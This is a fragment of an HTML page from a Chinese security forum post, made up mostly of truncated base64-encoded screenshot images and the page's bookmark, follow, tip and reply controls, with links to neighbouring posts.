src="data:image/png;base64,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 truncated
|
||||
<a id=img25 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707830104091-b0ba3ca4-9580-4fdc-871e-3bdb0ced4247.png#averageHue=%231f2124&clientId=u65c6d588-2f43-4&from=paste&height=286&id=u5a6b0e3e&originHeight=429&originWidth=1431&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=52126&status=done&style=none&taskId=u80f7e2d5-fbca-4ce7-9d2a-3e2424213e4&title=&width=954"><img src="data:image/png;base64,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 truncated
|
||||
<a id=img26 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707830361270-9ecb2631-75f2-4ab7-ad92-c9f7f83bbbc0.png#averageHue=%2320252e&clientId=u65c6d588-2f43-4&from=paste&height=253&id=u41630222&originHeight=379&originWidth=1864&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=77234&status=done&style=none&taskId=u76f49ba3-b8ff-4eb1-b6ed-50d1476c0a9&title=&width=1242.6666666666667"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB0gAAAF7CAYAAABYT9hzAAAgAElEQVR4nOydd3xU15X4v296kzSaGfVeEEI00auNsXHDNu52Eq8TpzllE6ftbnazm7ZJtmRT9pey6b3biWMnrrEdjAFjOpgmQAjUe5+qKff3xwhpZjSCeZIAOb7ff/iMuO++884997z77rn3XKW4pFwwTYTQseHvV3NfUR8//+Ix9niU6VYpkUgkEolEIpFIJBKJRCKRSCSSGaCgsBiA1pamKyyJRCKRSCSzA81MVKIoIfZs62TA4OTud5ZQmTYTtUokEolEIpFIJBKJRCKRSCQSiUQikUgkEsnMoszEDlIAIRTmbF7Iw5syMAf9NDYM0zUUJBQBurr43dYhworcWSqRSCQSiUQikUgkEolEIpFIJJcTuYNUIpFIJJJ4dDNVkaIITj/zOv91Np9N67OpKbZTYNVj0CiIU24e3To0U7eSSCQSiUQikUgkEolEIpFIJBKJRCKRSCSSKTFjAVIARYG+ujYerWtL/p8SiUQikUgkEolEIpFIJBKJRCKRSCQSiURyBZmRM0glEolEIpFIJBKJRCKRSCQSiUQikUgkEonkjYAMkEokEolEIpFIJBKJRCKRSCQSiUQikUgkkjcNMkAqkUgkEolEIpFIJBKJRCKRSCQSiUQikUjeNMgAqUQikUgkEolEIpFIJBKJRCKRSCQSiUQiedOgKzeYr7QMEolEIpFIJBKJRCKRSCQSiUQiuUQERv+Vc8ESiUQikUSRO0glEolEIpFIJBKJRCKRSCQSiUQikUgkEsmbBhkglUgkEolEIpFIJBKJRCKRSCQSiUQikUgkbxpkgFQikUgkEolEIpFIJBKJRCKRSCQSiUQikbxpkAFSiUQikUgkEolEIpFIJBKJRCKRSCQSiUTypkEGSCUSiUQikUgkEolEIpFIJBKJRCKRSCQSyZsGGSCVSCQSiUQikUgkEolEIpFIJBKJRCKRSCRvGmSAVCKR/M0iTLnMueFe7rx9ERohrrQ4EolEIpFIJBKJRPKmQwgtlbe/l003LCbTJL/LJBKJRCKRSCSzA92VFmA2IsxO7thUxhzRzzMv1XPcp1xpkSQSiQqE0OJYcS93vu1q8q1axPEO/nSlhZJIJBKJRCKRSP6GEBmLueHdt1IsTrHtR49SPyS/myWToWAtXcbqmuWsvPEs+379I17Y14VQpM1IJJLZgRAKWetKuW6lEc/+Jp56xQPSR0kkEsnfPNpSZ/bnrrQQsw1zVRXvWZRJeoYd62Az+7vlCkeJ5I2CEBoc13yQd7x9JQ7RwetP/pQ//HE/3tCVlkwikUgkEolEIvnbwbT6Ldy3sZI0Vzmmnpc42igH3JLkKEqEztf30uqxkFs9nzkrlpE7dJhjjTIAIZFcTsJWKwA6j/cKSzIL0WVy3fsKKMsw4jAHOLLHTVD6J4lEIvmb5w2zg1Q4SvmX+8pwNhzjH//SdcGytoW1fGG9I/564WfbEzt5suPiLzdfWzd17gzKGOBIWwi4/C9ENc97qZmuPiXTR7gexvHIu9Gd+Bzdv3k27v+Mb91F+rxG3N+4H1/PlW8P4/07SJ/fjvfb9+DpVGDt98i+eUlcGSE68f7gVjzNMy+vUnAjd963AKv/DC9+/evsbpo4USNyb+V9n7sV1+Gf8B/f2R33f/M/8H/csbiTbZ/7HDsS7FuIajZ/9aMsZSe//MTPabzIYFlteTUIYSZn/a1cs6GWotwMdBEfQy11HHnxSV492E1klg7kLZs+wcfvrYr7mxD97P7KJ3mxfmZlTlX/5+0hO+b/IyE/voF2mg68zLandtETmJ36vJxcSnuWXJzZon/pP68c0n9KJJKLIYSBnHV3sGHjYorz7BjwM9x+lrqtT/LyziZCMX1VFGzh/Z/ejP3Aj/jv7++d0v38p16nvr+cIuo5dcrLFfluvkTvi5nQz+Vi3sPf4q6lvez4wmfY1qpc1veFKnydnPnLjzlX18oDH7+TOfe/i1X1X2Z3u1yQ/kZECIFt8Y3k5wXo2/kyve4rZ1tCKFhKHKy8NpuyfANpNg2hQR9Nh9rZ/uIAQ+GJsgkhmPPAUm5bFGTvN4+wo3UWjlcWlPGhv3PifuU4P31mFgQ0k8gjSot47/tzsAnw7j3J9x8fjv5dl87N/zKHuWbQ+Ht47PPnaFHpn4XRxT2fK6VEE3/d0K4T/PAJ94WvnUr7RgJ0twcpywpR/2ofnln6TZCMVJ9XCD2rPrqYdTkDPPfp05yI7RsLy3nkAQcD247x82d9U6p/quXVMJX+PhuYjj2rvpdKe1ifHzM+FBFCvhF6G/vZ93Qrp+SmMVX2LITAUuRi6VVOykvNZKTp0ASDDLYNc3xrC3tPjkxYGCaEBufSAq6/NZsCmwbh6bqgz0y1vBAK1W9fyi0Lkp+wKYSHnV85xp4eJe6atLlZrL7KSUmBCZtJQ8jro+NENzue6aLTF1vWwtWfrGGFczI5fez91hF2tMzOPhnLGyZAqoZgXy+7jo8784y8XObZU79eGWjje79oO/9rZoV7AzJdfUre5HTswLu3eeyntvQmDK5Lcysh9My75XrytAHqH/9e0uDo3wJCaMnd8lHefksJel8n544dwKNxUTRvBRveP4/C33yZ3267sgsrJiPYcpj9O8ZlS69cSWXOFRQohkj3cQ6e7ANAY7CQWVrNvBveSXl1Dr/48hN0BOX7QCJ5oyP956VB+k+J5MojhEL25o/xjtvL0Ps7aTy2n2GRTv7c+ax6+xwKMv6Hnz3TPKO79ZT2rfz2n7ee/zVj9Uqmx2x+XwCEm57n8T9W84G3zmPdLYvZ94ODhN9AgQjJeawYbFoQHkY8V1YS2+JS3vJWJ+mRAB31Q3QEtLgqMqjaOIfctFP87LHBuAUiUYw4s7UghuntuCJiXxR7rgk9gr5O38ULXwaSyWPIM2HDx0CPCbvDiFYMEVYU0tbkUaX10D1oI2fIR+9UbmgO0ra3m8HRn/p8O/OKDPR3paIP9e2rCC+7v3WY3RcvOgtJ9XktOJ1Av5/uhP1A9lwjWgR9Hf5p1D/V8qkztf4+C5iWPatFnT0I9zB1x3wEAbQabAVplFTnckuxEeVr9Zy8ggtgZgep6VMIhdxr5nD7TRlYwwE6zw1T3yAw2i3klzpZ/5CN9J8d46WTkbFrlMx01txVwvI5RsRAAL8wYuz20TPJPdSVN+LMUhDeYU4e8TEy4f89nItxzkII0ldU8rZ77FjCAToaBmn1aXCUZVCyspS8HIVffLuTwbH+Jeg/1c3rCfFXjSONuZUmtB43re2T62s28TcZIA20NvNo6/jveRuzZEBvGkh9SqZFwy9wN4z/1N15zSULkKJbRM1CCwzvZPeOQf5mJ2rMy9lwQwmGoUP88T+/x/H+6IouJfc6HvjkvVTcvpnyHT+hYRaunAvWvcizdeO/Kx6qnTUTNuGmV3n2F+M7BITGSe0H/oVbF97Apqtf5pcvDV7gaolE8oZA+s9LgvSfEsksQLeUq24sw+A7ylNf+D8O941OvjjWcd+nH2TOjZuZ+5fvcTJ8ZcWUXHpm8/viPMOv/IXjW+ZRu2gFldqDxMwVSt4w2DBYAN8wIxGu2Ke30GZw9d1O0r0DvPTdM7x+frdTupPbP1FG+RIX5X8c5FSi79OYcbiAfj89VyZx3AURQuDKNgEB+jquoIIvIo/LZUJhhNYmP5mlJjKBbo2V5WvTGDzQiW+1Dd8ZH74pBKyUgUF2PT4+hiy+2051YYDejhQabJa374yT6vM6zTgMEOmOD1oLIcjKNgF++jqT2JtafV4i/U+5v88CpmXPalFpD6HTnTz7h76xRXRC0VHz9vncXONg8RI9J7f/bW4+SZkU9WmuLeOOmzPQnGvlsd900DIYtU8hFKzVxdz/UBYLr3PxWl0nHkVBZGVz/4eLydcFOLf1FC802Hnbu7MJd/rwJ/GZasujM+NygTjTw/N/6J5kMVrM3xw5bL7Ljnmoj+e+f5YTPaPym2xseqSaRcVZ1OR3sms06KkoPo4+0cjRmNqM5blseSALunt59qeNnJ2F8yrJmLEAaWxK2C+csHDPqnwqMw0oI17OnD7L46910ReJ2YabW8ln7yjCcPIw/7a1L66ueRvX8965kaQpXMORCGmFJdyzqoBKhwHNJPWrll9kcP87l7LGHF/HmR3b+daR4CTXKGRVlLJ5YQ6VWSbMBBkYclNfd45njw4wNA15zqPmeYXQkj+3jM0LsyjLNGJUQgz2DXDkyFmeOTkxd77a8moRQiG7soxbF2dT4TBhJER/bz8HX2/gL/XeCR1TaAxULShh41wnhelGTAQZGBjmxPGzPHd8OG5ANW5vR/nSyTTuXZ1LeZqOEY+HM6caeOJAH0NiGvaQ8wEcf/8Q2mOfpvdAKWnXb8HgsiP8LQRf/yHDf3kBEWvPIhvL+/6MrXA/w1//EcqNH8FSXoai9RJp3Y7n2a8RaI9PiSKEAe3Ch7Gt24QhOwLine truncated
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=13662>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
||||
</span>
|
||||
|
||||
<span class="btn btn-default pull-right" id=follow_topic data-pk=13662>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13659 title="对Tinylnst And Jackalope 初探"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>对Tinylnst And Jac...</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13663 title=伪装成花旗银行对帐单的窃密攻击活动><span class=related-label>下一篇:</span>伪装成花旗银行对帐单的窃密攻击活动</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=13662>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
